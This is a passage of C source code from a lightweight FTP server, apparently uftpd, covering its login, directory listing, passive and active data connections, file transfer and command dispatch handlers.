INET_ADDRSTRLEN); DBG("Client PASV data connection from %s:%d", client_ip, ntohs(sin.sin_port)); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; } return 0; } static int close_data_connection(ctrl_t *ctrl) { int ret = 0; DBG("Closing data connection ..."); /* PASV server listening socket */ if (ctrl->data_listen_sd > 0) { shutdown(ctrl->data_listen_sd, SHUT_RDWR); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; ret++; } /* PASV client socket */ if (ctrl->data_sd > 0) { shutdown(ctrl->data_sd, SHUT_RDWR); close(ctrl->data_sd); ctrl->data_sd = -1; ret++; } /* PORT */ if (ctrl->data_address[0]) { ctrl->data_address[0] = 0; ctrl->data_port = 0; } return ret; } static int check_user_pass(ctrl_t *ctrl) { if (!ctrl->name[0]) return -1; if (!strcmp("anonymous", ctrl->name)) return 1; return 0; } static int do_abort(ctrl_t *ctrl) { if (ctrl->d || ctrl->d_num) { uev_io_stop(&ctrl->data_watcher); if (ctrl->d_num > 0) free(ctrl->d); ctrl->d_num = 0; ctrl->d = NULL; ctrl->i = 0; if (ctrl->file) free(ctrl->file); ctrl->file = NULL; } if (ctrl->file) { uev_io_stop(&ctrl->data_watcher); free(ctrl->file); ctrl->file = NULL; } if (ctrl->fp) { fclose(ctrl->fp); ctrl->fp = NULL; } ctrl->pending = 0; ctrl->offset = 0; return close_data_connection(ctrl); } static void handle_ABOR(ctrl_t *ctrl, char *arg) { DBG("Aborting any current transfer ..."); if (do_abort(ctrl)) send_msg(ctrl->sd, "426 Connection closed; transfer aborted.\r\n"); send_msg(ctrl->sd, "226 Closing data connection.\r\n"); } static void handle_USER(ctrl_t *ctrl, char *name) { if (ctrl->name[0]) { ctrl->name[0] = 0; ctrl->pass[0] = 0; } if (name) { strlcpy(ctrl->name, name, sizeof(ctrl->name)); if (check_user_pass(ctrl) == 1) { INFO("Guest logged in from %s", ctrl->clientaddr); send_msg(ctrl->sd, "230 Guest login OK, access restrictions apply.\r\n"); } else { send_msg(ctrl->sd, "331 Login OK, please enter password.\r\n"); } } else { send_msg(ctrl->sd, "530 You must input your name.\r\n"); } } static void handle_PASS(ctrl_t *ctrl, char *pass) { if (!ctrl->name[0]) { send_msg(ctrl->sd, "503 No username given.\r\n"); return; } strlcpy(ctrl->pass, pass, sizeof(ctrl->pass)); if (check_user_pass(ctrl) < 0) { LOG("User %s from %s, invalid password!", ctrl->name, ctrl->clientaddr); send_msg(ctrl->sd, "530 username or password is unacceptable\r\n"); return; } INFO("User %s login from %s", ctrl->name, ctrl->clientaddr); send_msg(ctrl->sd, "230 Guest login OK, access restrictions apply.\r\n"); } static void handle_SYST(ctrl_t *ctrl, char *arg) { char system[] = "215 UNIX Type: L8\r\n"; send_msg(ctrl->sd, system); } static void handle_TYPE(ctrl_t *ctrl, char *argument) { char type[24] = "200 Type set to I.\r\n"; char unknown[] = "501 Invalid argument to TYPE.\r\n"; if (!argument) argument = "Z"; switch (argument[0]) { case 'A': ctrl->type = TYPE_A; /* ASCII */ break; case 'I': ctrl->type = TYPE_I; /* IMAGE/BINARY */ break; default: send_msg(ctrl->sd, unknown); return; } type[16] = argument[0]; send_msg(ctrl->sd, type); } static void handle_PWD(ctrl_t *ctrl, char *arg) { char buf[sizeof(ctrl->cwd) + 10]; snprintf(buf, sizeof(buf), "257 \"%s\"\r\n", ctrl->cwd); send_msg(ctrl->sd, buf); } static void handle_CWD(ctrl_t *ctrl, char *path) { struct stat st; char *dir; if (!path) goto done; /* * Some FTP clients, most notably Chrome, use CWD to check if an * entry is a file or directory. */ dir = compose_abspath(ctrl, path); if (!dir || stat(dir, &st) || !S_ISDIR(st.st_mode)) { DBG("chrooted:%d, ctrl->cwd: %s, home:%s, dir:%s, len:%zd, dirlen:%zd", chrooted, ctrl->cwd, home, dir, strlen(home), strlen(dir)); send_msg(ctrl->sd, "550 No such directory.\r\n"); return; } if (!chrooted) { size_t len = strlen(home); DBG("non-chrooted CWD, home:%s, dir:%s, len:%zd, dirlen:%zd", home, dir, len, strlen(dir)); dir += len; } snprintf(ctrl->cwd, sizeof(ctrl->cwd), "%s", dir); if (ctrl->cwd[0] == 0) snprintf(ctrl->cwd, sizeof(ctrl->cwd), "/"); done: DBG("New CWD: '%s'", ctrl->cwd); send_msg(ctrl->sd, "250 OK\r\n"); } static void handle_CDUP(ctrl_t *ctrl, char *path) { handle_CWD(ctrl, ".."); } static void handle_PORT(ctrl_t *ctrl, char *str) { int a, b, c, d, e, f; char addr[INET_ADDRSTRLEN]; struct sockaddr_in sin; if (ctrl->data_sd > 0) { uev_io_stop(&ctrl->data_watcher); close(ctrl->data_sd); ctrl->data_sd = -1; } /* Convert PORT command's argument to IP address + port */ sscanf(str, "%d,%d,%d,%d,%d,%d", &a, &b, &c, &d, &e, &f); snprintf(addr, sizeof(addr), "%d.%d.%d.%d", a, b, c, d); /* Check IPv4 address using inet_aton(), throw away converted result */ if (!inet_aton(addr, &(sin.sin_addr))) { ERR(0, "Invalid address '%s' given to PORT command", addr); send_msg(ctrl->sd, "500 Illegal PORT command.\r\n"); return; } strlcpy(ctrl->data_address, addr, sizeof(ctrl->data_address)); ctrl->data_port = e * 256 + f; DBG("Client PORT command accepted for %s:%d", ctrl->data_address, ctrl->data_port); send_msg(ctrl->sd, "200 PORT command successful.\r\n"); } static void handle_EPRT(ctrl_t *ctrl, char *str) { send_msg(ctrl->sd, "502 Command not implemented.\r\n"); } static char *mode_to_str(mode_t m) { static char str[11]; snprintf(str, sizeof(str), "%c%c%c%c%c%c%c%c%c%c", S_ISDIR(m) ? 'd' : '-', m & S_IRUSR ? 'r' : '-', m & S_IWUSR ? 'w' : '-', m & S_IXUSR ? 'x' : '-', m & S_IRGRP ? 'r' : '-', m & S_IWGRP ? 'w' : '-', m & S_IXGRP ? 'x' : '-', m & S_IROTH ? 'r' : '-', m & S_IWOTH ? 'w' : '-', m & S_IXOTH ? 'x' : '-'); return str; } static char *time_to_str(time_t mtime) { struct tm *t = localtime(&mtime); static char str[20]; setlocale(LC_TIME, "C"); strftime(str, sizeof(str), "%b %e %H:%M", t); return str; } static char *mlsd_time(time_t mtime) { struct tm *t = localtime(&mtime); static char str[20]; strftime(str, sizeof(str), "%Y%m%d%H%M%S", t); return str; } static const char *mlsd_type(char *name, int mode) { if (!strcmp(name, ".")) return "cdir"; if (!strcmp(name, "..")) return "pdir"; return S_ISDIR(mode) ? "dir" : "file"; } void mlsd_fact(char fact, char *buf, size_t len, char *name, char *perms, struct stat *st) { char size[20]; switch (fact) { case 'm': strlcat(buf, "modify=", len); strlcat(buf, mlsd_time(st->st_mtime), len); break; case 'p': strlcat(buf, "perm=", len); strlcat(buf, perms, len); break; case 't': strlcat(buf, "type=", len); strlcat(buf, mlsd_type(name, st->st_mode), len); break; case 's': if (S_ISDIR(st->st_mode)) return; snprintf(size, sizeof(size), "size=%" PRIu64, st->st_size); strlcat(buf, size, len); break; default: return; } strlcat(buf, ";", len); } static void mlsd_printf(ctrl_t *ctrl, char *buf, size_t len, char *path, char *name, struct stat *st) { char perms[10] = ""; int ro = !access(path, R_OK); int rw = !access(path, W_OK); if (S_ISDIR(st->st_mode)) { /* XXX: Verify 'e' by checking that we can CD to the 'name' */ if (ro) strlcat(perms, "le", sizeof(perms)); if (rw) strlcat(perms, "pc", sizeof(perms)); /* 'd' RMD, 'm' MKD */ } else { if (ro) strlcat(perms, "r", sizeof(perms)); if (rw) strlcat(perms, "w", sizeof(perms)); /* 'f' RNFR, 'd' DELE */ } memset(buf, 0, len); if (ctrl->d_num == -1 && (ctrl->list_mode & 0x0F) == 2) strlcat(buf, " ", len); for (int i = 0; ctrl->facts[i]; i++) mlsd_fact(ctrl->facts[i], buf, len, name, perms, st); strlcat(buf, " ", len); strlcat(buf, name, len); strlcat(buf, "\r\n", len); } static int list_printf(ctrl_t *ctrl, char *buf, size_t len, char *path, char *name) { int dirs; int mode = ctrl->list_mode; struct stat st; if (stat(path, &st)) return -1; dirs = mode & 0xF0; mode = mode & 0x0F; if (dirs && !S_ISDIR(st.st_mode)) return 1; if (!dirs && S_ISDIR(st.st_mode)) return 1; switch (mode) { case 3: /* MLSD */ /* fallthrough */ case 2: /* MLST */ mlsd_printf(ctrl, buf, len, path, name, &st); break; case 1: /* NLST */ snprintf(buf, len, "%s\r\n", name); break; case 0: /* LIST */ snprintf(buf, len, "%s 1 %5d %5d %12" PRIu64 " %s %s\r\n", mode_to_str(st.st_mode), 0, 0, (uint64_t)st.st_size, time_to_str(st.st_mtime), name); break; } return 0; } static void do_MLST(ctrl_t *ctrl) { size_t len = 0; char buf[512] = { 0 }; int sd = ctrl->sd; if (ctrl->data_sd != -1) sd = ctrl->data_sd; snprintf(buf, sizeof(buf), "250- Listing %s\r\n", ctrl->file); len = strlen(buf); if (list_printf(ctrl, &buf[len], sizeof(buf) - len, ctrl->file, basename(ctrl->file))) { do_abort(ctrl); send_msg(ctrl->sd, "550 No such file or directory.\r\n"); return; } strlcat(buf, "250 End.\r\n", sizeof(buf)); send_msg(sd, buf); } static void do_MLSD(ctrl_t *ctrl) { char buf[512] = { 0 }; if (list_printf(ctrl, buf, sizeof(buf), ctrl->file, basename(ctrl->file))) { do_abort(ctrl); send_msg(ctrl->sd, "550 No such file or directory.\r\n"); return; } send_msg(ctrl->data_sd, buf); send_msg(ctrl->sd, "226 Transfer complete.\r\n"); } static void do_LIST(uev_t *w, void *arg, int events) { ctrl_t *ctrl = (ctrl_t *)arg; struct timeval tv; ssize_t bytes; char buf[BUFFER_SIZE] = { 0 }; if (UEV_ERROR == events || UEV_HUP == events) { uev_io_start(w); return; } /* Reset inactivity timer. */ uev_timer_set(&ctrl->timeout_watcher, INACTIVITY_TIMER, 0); if (ctrl->d_num == -1) { if (ctrl->list_mode == 3) do_MLSD(ctrl); else do_MLST(ctrl); do_abort(ctrl); return; } gettimeofday(&tv, NULL); if (tv.tv_sec - ctrl->tv.tv_sec > 3) { DBG("Sending LIST entry %d of %d to %s ...", ctrl->i, ctrl->d_num, ctrl->clientaddr); ctrl->tv.tv_sec = tv.tv_sec; } ctrl->list_mode |= (ctrl->pending ? 0 : 0x80); while (ctrl->i < ctrl->d_num) { struct dirent *entry; char *name, *path; char cwd[PATH_MAX]; entry = ctrl->d[ctrl->i++]; name = entry->d_name; DBG("Found directory entry %s", name); if ((!strcmp(name, ".") || !strcmp(name, "..")) && ctrl->list_mode < 2) continue; snprintf(cwd, sizeof(cwd), "%s%s%s", ctrl->file, ctrl->file[strlen(ctrl->file) - 1] == '/' ? "" : "/", name); path = compose_path(ctrl, cwd); if (!path) { fail: LOGIT(LOG_INFO, errno, "Failed reading status for %s", path ? path : name); continue; } switch (list_printf(ctrl, buf, sizeof(buf), path, name)) { case -1: goto fail; case 1: continue; default: break; } DBG("LIST %s", buf); free(entry); bytes = send(ctrl->data_sd, buf, strlen(buf), 0); if (-1 == bytes) { if (ECONNRESET == errno) DBG("Connection reset by client."); else ERR(errno, "Failed sending file %s to client", ctrl->file); while (ctrl->i < ctrl->d_num) { struct dirent *entry = ctrl->d[ctrl->i++]; free(entry); } do_abort(ctrl); send_msg(ctrl->sd, "426 TCP connection was established but then broken!\r\n"); } return; } ctrl->list_mode &= 0x0F; /* Rewind and list files */ if (ctrl->pending == 0) { ctrl->pending++; ctrl->i = 0; return; } do_abort(ctrl); send_msg(ctrl->sd, "226 Transfer complete.\r\n"); } static void list(ctrl_t *ctrl, char *arg, int mode) { char *path; if (string_valid(arg)) { char *ptr, *quot; /* Check if client sends ls arguments ... */ ptr = arg; while (*ptr) { if (isspace(*ptr)) ptr++; if (*ptr == '-') { while (*ptr && !isspace(*ptr)) ptr++; } break; } /* Strip any "" from "<arg>" */ while ((quot = strchr(ptr, '"'))) { char *ptr2; ptr2 = strchr(&quot[1], '"'); if (ptr2) { memmove(ptr2, &ptr2[1], strlen(ptr2)); memmove(quot, &quot[1], strlen(quot)); } } arg = ptr; } if (mode >= 2) path = compose_abspath(ctrl, arg); else path = compose_path(ctrl, arg); if (!path) { send_msg(ctrl->sd, "550 No such file or directory.\r\n"); return; } ctrl->list_mode = mode; ctrl->file = strdup(arg ? arg : ""); ctrl->i = 0; ctrl->d_num = scandir(path, &ctrl->d, NULL, alphasort); if (ctrl->d_num == -1) { send_msg(ctrl->sd, "550 No such file or directory.\r\n"); DBG("Failed reading directory '%s': %s", path, strerror(errno)); return; } DBG("Reading directory %s ... %d number of entries", path, ctrl->d_num); if (ctrl->data_sd > -1) { send_msg(ctrl->sd, "125 Data connection already open; transfer starting.\r\n"); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_LIST, ctrl, ctrl->data_sd, UEV_WRITE); return; } do_PORT(ctrl, 1); } static void handle_LIST(ctrl_t *ctrl, char *arg) { list(ctrl, arg, 0); } static void handle_NLST(ctrl_t *ctrl, char *arg) { list(ctrl, arg, 1); } static void handle_MLST(ctrl_t *ctrl, char *arg) { list(ctrl, arg, 2); } static void handle_MLSD(ctrl_t *ctrl, char *arg) { list(ctrl, arg, 3); } static void do_pasv_connection(uev_t *w, void *arg, int events) { ctrl_t *ctrl = (ctrl_t *)arg; int rc = 0; if (UEV_ERROR == events || UEV_HUP == events) { DBG("error on data_listen_sd ..."); uev_io_start(w); return; } DBG("Event on data_listen_sd ..."); uev_io_stop(&ctrl->data_watcher); if (open_data_connection(ctrl)) return; switch (ctrl->pending) { case 3: /* fall-through */ case 2: if (ctrl->offset) rc = fseek(ctrl->fp, ctrl->offset, SEEK_SET); if (rc) { do_abort(ctrl); send_msg(ctrl->sd, "551 Failed seeking to that position in file.\r\n"); return; } /* fall-through */ case 1: break; default: DBG("No pending command, waiting ..."); return; } switch (ctrl->pending) { case 3: /* STOR */ DBG("Pending STOR, starting ..."); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_STOR, ctrl, ctrl->data_sd, UEV_READ); break; case 2: /* RETR */ DBG("Pending RETR, starting ..."); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_RETR, ctrl, ctrl->data_sd, UEV_WRITE); break; case 1: /* LIST */ DBG("Pending LIST, starting ..."); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_LIST, ctrl, ctrl->data_sd, UEV_WRITE); break; } if (ctrl->pending == 1 && ctrl->list_mode == 2) send_msg(ctrl->sd, "150 Opening ASCII mode data connection for MLSD.\r\n"); else send_msg(ctrl->sd, "150 Data connection accepted; transfer starting.\r\n"); ctrl->pending = 0; } static int do_PASV(ctrl_t *ctrl, char *arg, struct sockaddr *data, socklen_t *len) { struct sockaddr_in server; if (ctrl->data_sd > 0) { close(ctrl->data_sd); ctrl->data_sd = -1; } if (ctrl->data_listen_sd > 0) close(ctrl->data_listen_sd); ctrl->data_listen_sd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0); if (ctrl->data_listen_sd < 0) { ERR(errno, "Failed opening data server socket"); send_msg(ctrl->sd, "426 Internal server error.\r\n"); return 1; } memset(&server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(ctrl->serveraddr); server.sin_port = htons(0); if (bind(ctrl->data_listen_sd, (struct sockaddr *)&server, sizeof(server)) < 0) { ERR(errno, "Failed binding to client socket"); send_msg(ctrl->sd, "426 Internal server error.\r\n"); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; return 1; } INFO("Data server port estabished. Waiting for client to connect ..."); if (listen(ctrl->data_listen_sd, 1) < 0) { ERR(errno, "Client data connection failure"); send_msg(ctrl->sd, "426 Internal server error.\r\n"); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; return 1; } memset(data, 0, sizeof(*data)); if (-1 == getsockname(ctrl->data_listen_sd, data, len)) { ERR(errno, "Cannot determine our address, need it if client should connect to us"); close(ctrl->data_listen_sd); ctrl->data_listen_sd = -1; return 1; } uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_pasv_connection, ctrl, ctrl->data_listen_sd, UEV_READ); return 0; } static void handle_PASV(ctrl_t *ctrl, char *arg) { struct sockaddr_in data; socklen_t len = sizeof(data); char *msg, *p, buf[200]; int port; if (do_PASV(ctrl, arg, (struct sockaddr *)&data, &len)) return; /* Convert server IP address and port to comma separated list */ msg = strdup(ctrl->serveraddr); if (!msg) { send_msg(ctrl->sd, "426 Internal server error.\r\n"); exit(1); } p = msg; while ((p = strchr(p, '.'))) *p++ = ','; port = ntohs(data.sin_port); snprintf(buf, sizeof(buf), "227 Entering Passive Mode (%s,%d,%d)\r\n", msg, port / 256, port % 256); send_msg(ctrl->sd, buf); free(msg); } static void handle_EPSV(ctrl_t *ctrl, char *arg) { struct sockaddr_in data; socklen_t len = sizeof(data); char buf[200]; if (string_valid(arg) && string_case_compare(arg, "ALL")) { send_msg(ctrl->sd, "200 Command OK\r\n"); return; } if (do_PASV(ctrl, arg, (struct sockaddr *)&data, &len)) return; snprintf(buf, sizeof(buf), "229 Entering Extended Passive Mode (|||%d|)\r\n", ntohs(data.sin_port)); send_msg(ctrl->sd, buf); } static void do_RETR(uev_t *w, void *arg, int events) { ctrl_t *ctrl = (ctrl_t *)arg; struct timeval tv; ssize_t bytes; size_t num; char buf[BUFFER_SIZE]; if (UEV_ERROR == events || UEV_HUP == events) { DBG("error on data_sd ..."); uev_io_start(w); return; } if (!ctrl->fp) { DBG("no fp for RETR, bailing."); return; } num = fread(buf, sizeof(char), sizeof(buf), ctrl->fp); if (!num) { if (feof(ctrl->fp)) INFO("User %s from %s downloaded %s", ctrl->name, ctrl->clientaddr, ctrl->file); else if (ferror(ctrl->fp)) ERR(0, "Error while reading %s", ctrl->file); do_abort(ctrl); send_msg(ctrl->sd, "226 Transfer complete.\r\n"); return; } /* Reset inactivity timer. */ uev_timer_set(&ctrl->timeout_watcher, INACTIVITY_TIMER, 0); gettimeofday(&tv, NULL); if (tv.tv_sec - ctrl->tv.tv_sec > 3) { DBG("Sending %zd bytes of %s to %s ...", num, ctrl->file, ctrl->clientaddr); ctrl->tv.tv_sec = tv.tv_sec; } bytes = send(ctrl->data_sd, buf, num, 0); if (-1 == bytes) { if (ECONNRESET == errno) DBG("Connection reset by client."); else ERR(errno, "Failed sending file %s to client", ctrl->file); do_abort(ctrl); send_msg(ctrl->sd, "426 TCP connection was established but then broken!\r\n"); } } /* * Check if previous command was PORT, then connect to client and * transfer file/listing similar to what's done for PASV conns. */ static void do_PORT(ctrl_t *ctrl, int pending) { if (!ctrl->data_address[0]) { /* Check if previous command was PASV */ if (ctrl->data_sd == -1 && ctrl->data_listen_sd == -1) { if (pending == 1 && ctrl->d_num == -1) do_MLST(ctrl); return; } ctrl->pending = pending; return; } if (open_data_connection(ctrl)) { do_abort(ctrl); send_msg(ctrl->sd, "425 TCP connection cannot be established.\r\n"); return; } if (pending != 1 || ctrl->list_mode != 2) send_msg(ctrl->sd, "150 Data connection opened; transfer starting.\r\n"); switch (pending) { case 3: uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_STOR, ctrl, ctrl->data_sd, UEV_READ); break; case 2: uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_RETR, ctrl, ctrl->data_sd, UEV_WRITE); break; case 1: uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_LIST, ctrl, ctrl->data_sd, UEV_WRITE); break; } ctrl->pending = 0; } static void handle_RETR(ctrl_t *ctrl, char *file) { FILE *fp; char *path; struct stat st; path = compose_abspath(ctrl, file); if (!path || stat(path, &st) || !S_ISREG(st.st_mode)) { send_msg(ctrl->sd, "550 Not a regular file.\r\n"); return; } fp = fopen(path, "rb"); if (!fp) { if (errno != ENOENT) ERR(errno, "Failed RETR %s for %s", path, ctrl->clientaddr); send_msg(ctrl->sd, "451 Trouble to RETR file.\r\n"); return; } ctrl->fp = fp; ctrl->file = strdup(file); if (ctrl->data_sd > -1) { if (ctrl->offset) { DBG("Previous REST %ld of file size %ld", ctrl->offset, st.st_size); if (fseek(fp, ctrl->offset, SEEK_SET)) { do_abort(ctrl); send_msg(ctrl->sd, "551 Failed seeking to that position in file.\r\n"); return; } } send_msg(ctrl->sd, "125 Data connection already open; transfer starting.\r\n"); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_RETR, ctrl, ctrl->data_sd, UEV_WRITE); return; } do_PORT(ctrl, 2); } static void handle_MDTM(ctrl_t *ctrl, char *file) { struct stat st; struct tm *tm; char *path, *ptr; char *mtime = NULL; char buf[80]; /* Request to set mtime, ncftp does this */ ptr = strchr(file, ' '); if (ptr) { *ptr++ = 0; mtime = file; file = ptr; } path = compose_abspath(ctrl, file); if (!path || stat(path, &st) || !S_ISREG(st.st_mode)) { send_msg(ctrl->sd, "550 Not a regular file.\r\n"); return; } if (mtime) { struct timespec times[2] = { { 0, UTIME_OMIT }, { 0, 0 } }; struct tm tm; int rc; if (!strptime(mtime, "%Y%m%d%H%M%S", &tm)) { fail: send_msg(ctrl->sd, "550 Invalid time format\r\n"); return; } times[1].tv_sec = mktime(&tm); rc = utimensat(0, path, times, 0); if (rc) { ERR(errno, "Failed setting MTIME %s of %s", mtime, file); goto fail; } (void)stat(path, &st); } tm = gmtime(&st.st_mtime); strftime(buf, sizeof(buf), "213 %Y%m%d%H%M%S\r\n", tm); send_msg(ctrl->sd, buf); } static void do_STOR(uev_t *w, void *arg, int events) { ctrl_t *ctrl = (ctrl_t *)arg; struct timeval tv; ssize_t bytes; size_t num; char buf[BUFFER_SIZE]; if (UEV_ERROR == events || UEV_HUP == events) { DBG("error on data_sd ..."); uev_io_start(w); return; } if (!ctrl->fp) { DBG("no fp for STOR, bailing."); return; } /* Reset inactivity timer. */ uev_timer_set(&ctrl->timeout_watcher, INACTIVITY_TIMER, 0); bytes = recv(ctrl->data_sd, buf, sizeof(buf), 0); if (bytes < 0) { if (ECONNRESET == errno) DBG("Connection reset by client."); else ERR(errno, "Failed receiving file %s from client", ctrl->file); do_abort(ctrl); send_msg(ctrl->sd, "426 TCP connection was established but then broken!\r\n"); return; } if (bytes == 0) { INFO("User %s at %s uploaded file %s", ctrl->name, ctrl->clientaddr, ctrl->file); do_abort(ctrl); send_msg(ctrl->sd, "226 Transfer complete.\r\n"); return; } gettimeofday(&tv, NULL); if (tv.tv_sec - ctrl->tv.tv_sec > 3) { DBG("Receiving %zd bytes of %s from %s ...", bytes, ctrl->file, ctrl->clientaddr); ctrl->tv.tv_sec = tv.tv_sec; } num = fwrite(buf, 1, bytes, ctrl->fp); if ((size_t)bytes != num) ERR(errno, "552 Disk full."); } static void handle_STOR(ctrl_t *ctrl, char *file) { FILE *fp = NULL; char *path; int rc = 0; path = compose_abspath(ctrl, file); if (!path) { INFO("Invalid path for %s: %m", file); goto fail; } DBG("Trying to write to %s ...", path); fp = fopen(path, "wb"); if (!fp) { /* If EACCESS client is trying to do something disallowed */ ERR(errno, "Failed writing %s", path); fail: send_msg(ctrl->sd, "451 Trouble storing file.\r\n"); do_abort(ctrl); return; } ctrl->fp = fp; ctrl->file = strdup(file); if (ctrl->data_sd > -1) { if (ctrl->offset) rc = fseek(fp, ctrl->offset, SEEK_SET); if (rc) { do_abort(ctrl); send_msg(ctrl->sd, "551 Failed seeking to that position in file.\r\n"); return; } send_msg(ctrl->sd, "125 Data connection already open; transfer starting.\r\n"); uev_io_init(ctrl->ctx, &ctrl->data_watcher, do_STOR, ctrl, ctrl->data_sd, UEV_READ); return; } do_PORT(ctrl, 3); } static void handle_DELE(ctrl_t *ctrl, char *file) { char *path; path = compose_abspath(ctrl, file); if (!path) { ERR(errno, "Cannot find %s", file); goto fail; } if (remove(path)) { if (ENOENT == errno) fail: send_msg(ctrl->sd, "550 No such file or directory.\r\n"); else if (EPERM == errno) send_msg(ctrl->sd, "550 Not allowed to remove file or directory.\r\n"); else send_msg(ctrl->sd, "550 Unknown error.\r\n"); return; } send_msg(ctrl->sd, "200 Command OK\r\n"); } static void handle_MKD(ctrl_t *ctrl, char *arg) { char *path; path = compose_abspath(ctrl, arg); if (!path) { INFO("Invalid path for %s: %m", arg); goto fail; } if (mkdir(path, 0755)) { if (EPERM == errno) fail: send_msg(ctrl->sd, "550 Not allowed to create directory.\r\n"); else send_msg(ctrl->sd, "550 Unknown error.\r\n"); return; } send_msg(ctrl->sd, "200 Command OK\r\n"); } static void handle_RMD(ctrl_t *ctrl, char *arg) { handle_DELE(ctrl, arg); } static void handle_REST(ctrl_t *ctrl, char *arg) { const char *errstr; char buf[80]; if (!string_valid(arg)) { send_msg(ctrl->sd, "550 Invalid argument.\r\n"); return; } ctrl->offset = strtonum(arg, 0, INT64_MAX, &errstr); snprintf(buf, sizeof(buf), "350 Restarting at %ld. Send STOR or RETR to continue transfer.\r\n", ctrl->offset); send_msg(ctrl->sd, buf); } static size_t num_nl(char *file) { FILE *fp; char buf[80]; size_t len, num = 0; fp = fopen(file, "r"); if (!fp) return 0; do { char *ptr = buf; len = fread(buf, sizeof(char), sizeof(buf) - 1, fp); if (len > 0) { buf[len] = 0; while ((ptr = strchr(ptr, '\n'))) { ptr++; num++; } } } while (len > 0); fclose(fp); return num; } static void handle_SIZE(ctrl_t *ctrl, char *file) { char *path; char buf[80]; size_t extralen = 0; struct stat st; path = compose_abspath(ctrl, file); if (!path || stat(path, &st) || S_ISDIR(st.st_mode)) { send_msg(ctrl->sd, "550 No such file, or argument is a directory.\r\n"); return; } DBG("SIZE %s", path); if (ctrl->type == TYPE_A) extralen = num_nl(path); snprintf(buf, sizeof(buf), "213 %" PRIu64 "\r\n", (uint64_t)(st.st_size + extralen)); send_msg(ctrl->sd, buf); } /* No operation - used as session keepalive by clients. */ static void handle_NOOP(ctrl_t *ctrl, char *arg) { send_msg(ctrl->sd, "200 NOOP OK.\r\n"); } #if 0 static void handle_RNFR(ctrl_t *ctrl, char *arg) { } static void handle_RNTO(ctrl_t *ctrl, char *arg) { } #endif static void handle_QUIT(ctrl_t *ctrl, char *arg) { send_msg(ctrl->sd, "221 Goodbye.\r\n"); uev_exit(ctrl->ctx); } static void handle_CLNT(ctrl_t *ctrl, char *arg) { send_msg(ctrl->sd, "200 CLNT\r\n"); } static void handle_OPTS(ctrl_t *ctrl, char *arg) { /* OPTS MLST type;size;modify;perm; */ if (strstr(arg, "MLST")) { size_t i = 0; char *ptr; char buf[42] = "200 MLST OPTS "; char facts[10] = { 0 }; ptr = strtok(arg + 4, " \t;"); while (ptr && i < sizeof(facts) - 1) { if (!strcmp(ptr, "modify") || !strcmp(ptr, "perm") || !strcmp(ptr, "size") || !strcmp(ptr, "type")) { facts[i++] = ptr[0]; strlcat(buf, ptr, sizeof(buf)); strlcat(buf, ";", sizeof(buf)); } ptr = strtok(NULL, ";"); } strlcat(buf, "\r\n", sizeof(buf)); DBG("New MLSD facts: %s", facts); strlcpy(ctrl->facts, facts, sizeof(ctrl->facts)); send_msg(ctrl->sd, buf); } else send_msg(ctrl->sd, "200 UTF8 OPTS ON\r\n"); } static void handle_HELP(ctrl_t *ctrl, char *arg) { int i = 0; char buf[80]; ftp_cmd_t *cmd; if (string_valid(arg) && !string_compare(arg, "SITE")) { send_msg(ctrl->sd, "500 command HELP does not take any arguments on this server.\r\n"); return; } snprintf(ctrl->buf, ctrl->bufsz, "214-The following commands are recognized."); for (cmd = &supported[0]; cmd->command; cmd++, i++) { if (i % 14 == 0) strlcat(ctrl->buf, "\r\n", ctrl->bufsz); snprintf(buf, sizeof(buf), " %s", cmd->command); strlcat(ctrl->buf, buf, ctrl->bufsz); } snprintf(buf, sizeof(buf), "\r\n214 Help OK.\r\n"); strlcat(ctrl->buf, buf, ctrl->bufsz); send_msg(ctrl->sd, ctrl->buf); } static void handle_FEAT(ctrl_t *ctrl, char *arg) { snprintf(ctrl->buf, ctrl->bufsz, "211-Features:\r\n" " EPSV\r\n" " PASV\r\n" " SIZE\r\n" " UTF8\r\n" " REST STREAM\r\n" " MLST modify*;perm*;size*;type*;\r\n" "211 End\r\n"); send_msg(ctrl->sd, ctrl->buf); } static void handle_UNKNOWN(ctrl_t *ctrl, char *command) { char buf[128]; snprintf(buf, sizeof(buf), "500 command '%s' not recognized by server.\r\n", command); send_msg(ctrl->sd, buf); } #define COMMAND(NAME) { #NAME, handle_ ## NAME } static ftp_cmd_t supported[] = { COMMAND(ABOR), COMMAND(DELE), COMMAND(USER), COMMAND(PASS), COMMAND(SYST), COMMAND(TYPE), COMMAND(PORT), COMMAND(EPRT), COMMAND(RETR), COMMAND(MKD), COMMAND(RMD), COMMAND(REST), COMMAND(MDTM), COMMAND(PASV), COMMAND(EPSV), COMMAND(QUIT), COMMAND(LIST), COMMAND(NLST), COMMAND(MLST), COMMAND(MLSD), COMMAND(CLNT), COMMAND(OPTS), COMMAND(PWD), COMMAND(STOR), COMMAND(CWD), COMMAND(CDUP), COMMAND(SIZE), COMMAND(NOOP), COMMAND(HELP), COMMAND(FEAT), { NULL, NULL } }; static void child_exit(uev_t *w, void *arg, int events) { DBG("Child exiting ..."); uev_exit(w->ctx); } static void read_client_command(uev_t *w, void *arg, int events) { char *command, *argument; ctrl_t *ctrl = (ctrl_t *)arg; ftp_cmd_t *cmd; if (UEV_ERROR == events || UEV_HUP == events) { uev_io_start(w); return; } /* Reset inactivity timer. */ uev_timer_set(&ctrl->timeout_watcher, INACTIVITY_TIMER, 0); if (recv_msg(w->fd, ctrl->buf, ctrl->bufsz, &command, &argument)) { DBG("Short read, exiting."); uev_exit(ctrl->ctx); return; } if (!string_valid(command)) return; if (string_match(command, "FF F4")) { DBG("Ignoring IAC command, client should send ABOR as well."); return; } for (cmd = &supported[0]; cmd->command; cmd++) { if (string_compare(command, cmd->command)) { cmd->cb(ctrl, argument); return; } } handle_UNKNOWN(ctrl, command); } static void ftp_command(ctrl_t *ctrl) { uev_t sigterm_watcher; ctrl->bufsz = 